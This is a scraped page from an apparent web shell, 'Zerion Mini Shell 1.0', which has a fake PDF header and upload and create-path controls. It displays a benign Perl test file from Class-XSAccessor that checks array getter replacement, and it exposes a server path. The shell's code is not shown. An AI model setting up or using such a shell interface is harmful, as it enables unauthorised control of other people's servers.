%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/optisoftcom/.cpanm/work/1544535406.20768/Class-XSAccessor-1.19/t/
Upload File :
Create Path :
Current File : /home/opti/optisoftcom/.cpanm/work/1544535406.20768/Class-XSAccessor-1.19/t/35array_replace.t

use strict;
use warnings;

package Class::XSAccessor::Test;

use Class::XSAccessor::Array
  getters   => { get_foo => 0 };

sub new {
  my $class = shift;
  bless [ 'baz' ], $class;
}

package main;

use Test::More tests => 4;

my $obj = Class::XSAccessor::Test->new();

ok($obj->can('get_foo'));
is($obj->get_foo(), 'baz');

package Class::XSAccessor::Test;

eval <<'HERE';
  use Class::XSAccessor::Array
    getters   => { get_foo => 0 };
HERE

package main;

ok($@, 'refuses to replace by default');

package Class::XSAccessor::Test;

eval <<'HERE';
  use Class::XSAccessor::Array
    replace => 1,
    getters   => { get_foo => 0 };
HERE

package main;

ok(!$@, 'replacing allowed');


Zerion Mini Shell 1.0